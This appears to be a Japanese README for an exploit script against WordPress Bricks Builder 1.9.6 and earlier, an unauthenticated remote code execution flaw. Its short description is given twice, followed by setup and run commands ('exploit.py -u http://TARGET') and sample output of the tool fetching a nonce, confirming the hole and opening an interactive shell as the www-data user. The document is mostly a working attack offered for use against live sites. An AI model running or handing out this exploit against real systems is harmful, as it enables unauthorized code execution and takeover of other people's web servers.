
WordPress Bricks Builder <= 1.9.6 における認証なしリモートコード実行の脆弱性。テンプレートレンダリングエンドポイントは認証なしでPHPコードを受け入れるため、ウェブサーバーユーザーとして任意のコマンド実行が可能になります。
WordPress Bricks Builder <= 1.9.6 には、未認証のリモートコード実行の脆弱性があります。テンプレートレンダリングエンドポイントは認証なしで PHP コードを受け入れるため、Web サーバーユーザーとして任意のコマンドを実行できます。
python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit
python3 exploit.py -u http://TARGET
例:
$ python3 exploit.py -u http://10.10.10.10
[*] Fetching nonce from http://10.10.10.10 ...
[*] Checking if the target is vulnerable...
[+] Target is vulnerable!
[+] Shell opened. Type 'exit' or Ctrl+C to quit.
Shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)